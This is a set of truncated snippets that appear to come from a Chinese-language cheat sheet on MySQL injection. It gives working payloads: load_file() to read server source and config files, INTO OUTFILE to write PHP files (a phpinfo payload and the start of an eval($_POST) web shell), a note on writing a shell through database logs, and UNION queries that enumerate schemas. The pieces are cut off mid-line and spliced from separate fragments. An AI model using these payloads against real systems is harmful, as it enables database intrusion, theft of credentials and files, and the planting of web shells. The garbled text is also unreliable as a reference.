mysql <5.0 读文件:load_file() sql-shell select load_file(''); d:/www/xx/index.php /home/webroot/...../index.php and 1=2 union select 1,load_file('c:\\..\\sql_inc.php'),3,4.......; 查看源代码 写文件:into outfile and 1=2 union select 1,"<?php @eval($_post['…
select * from admin where id =-1 union select 1,'<?php phpinfo();?>',3,4 into outfile 'c:\\1.php' select * from admin where id =-1 or 1=1 limit 0,1 INTO OUTFILE 'c:/2.php' LINES TERMINATED BY 0x3C3F70687020706870696E666F28293B3F3E-- 3.通过数据库日志写shello…
关于MYSQL注入的总结,网上的资料很多,这里和大家简单分享下自己实战中常用的思路和命令 0x00 UNION联合查询型注入常用语句 order by n //定字段,n为正整数 union select 1,2,3 //看回显,无回显的时候尝试让union前的语句报错,如and 1=2 union select 1,2,3 回显位爆库.表.列(字段).值,以第二位为回显位举例,常用命令如下所示 union select 1,group_concat(schema_name),3 fr…